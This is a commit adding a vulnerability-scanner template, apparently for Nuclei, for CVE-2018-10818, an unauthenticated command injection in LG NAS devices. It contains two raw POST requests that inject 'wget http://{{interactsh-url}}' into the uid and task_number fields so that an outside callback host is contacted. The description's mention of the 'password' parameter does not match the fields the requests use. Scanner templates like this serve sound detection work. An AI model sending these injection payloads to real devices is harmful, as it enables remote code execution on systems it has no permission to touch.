Create CVE-2018-10818.yaml

The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices. You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the “password” parameter.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2018/CVE-2018-10818.yaml

@@ -0,0 +1,42 @@
+id: CVE-2018–10818
+
+info:
+  name: LG NAS Devices - Remote Code Execution (Unauthenticated)
+  author: gy741
+  severity: critical
+  description: The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices. You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the “password” parameter.
+  reference: |
+    - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
+    - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
+  tags: cve,cve2018,lg-nas,rce
+
+requests:
+  - raw:
+      - |
+        POST /system/sharedir.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: curl/7.58.0
+        Accept: */*
+        Content-Type: application/x-www-form-urlencoded
+
+        &uid=10; wget http://{{interactsh-url}}
+
+      - |
+        POST /en/php/usb_sync.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: curl/7.58.0
+        Accept: */*
+        Content-Type: application/x-www-form-urlencoded
+
+        &act=sync&task_number=1;wget http://{{interactsh-url}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"
+
+      - type: status
+        status:
+          - 200